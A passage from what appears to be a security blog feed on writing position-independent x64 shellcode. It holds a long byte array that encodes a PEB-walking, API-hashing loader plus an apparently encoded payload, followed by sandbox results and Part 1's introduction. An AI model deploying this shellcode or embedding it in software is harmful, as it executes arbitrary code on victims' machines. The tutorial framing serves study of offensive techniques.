<span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xdd</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xcf</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xf9</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xcd</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe6</span>
<span class="p">};</span>
</code></pre></div></div>

<p>I initially intended to go deeper on PIC coding, extending this into a series / multiple parts, but I will likely have to reserve deeper explorations into PIC coding some other time.  Perhaps as a course or something.  I’m considering a full on x64 assembly and shellcoding course with videos, code, the works.  If I pull it off, I’ll definitely go deeper on PIC shellcode.  Until next time, thanks all!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1537" height="637" alt="image" src="https://github.com/user-attachments/assets/5c3e7b60-6db7-4da3-8e96-75795cf3be7e" /></p>

<p><a href="https://app.any.run/tasks/c940314e-6d43-4e22-834e-4d3125afc4fc">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><summary type="html"><![CDATA[Let’s PIC back up where we left off shall we? 😸 I gave you the framework for developing PIC friendly shellcode back in Part 1. We went from the original code written in a high level language (C++), down to a pseudo low level representation of that C++ code. I say pseudo low level because after our C++ code, we then used a combination of assembly and externs to locate the memory address of HeapCreate and HeapAlloc. This is sort of like inputting a cheat code, since we don’t have to resort to walking the PE headers, specifically the PE export table, to locate our APIs. However, this time around we will NOT be using externs. We will be locating TEB/PEB, walking the familiar PE headers, and finding our APIs in question manually without help from externs. We will also hash our APIs to make them easier to lookup and lower our static analysis footprint. Let’s dive in!]]></summary></entry><entry><title type="html">PIC Shellcode from the Ground up - Part 1</title><link href="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-1/" rel="alternate" type="text/html" title="PIC Shellcode from the Ground up - Part 1" /><published>2025-11-05T00:00:00+00:00</published><updated>2025-11-05T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%201</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-1/"><![CDATA[<p>Have you ever wondered how the popularized PIC (position independent code) actually works?  I can answer that question alongside you with a resounding YES! You are exposed to PIC based shellcode constantly in today’s widely used C2 platforms.  Then there’s the popular donut utility, which can convert .NET assemblies to PIC friendly shellcode.  But what about from scratch, and I mean producing a template in C++ and then wrtiting x64 assembly code modeled after your C++ program?  Also why should we?  Well, while I admit I can’t find many tutorials for writing PIC from scratch, I found a plethora of definitions and explanations for what PIC accomplishes.  I don’t want to reinvent the wheel too much here, so suffice to say, here are the advantages of using PIC in my mind.  I’ll also include frustrations in the opinion of yours truly. 😸</p>

<ul>
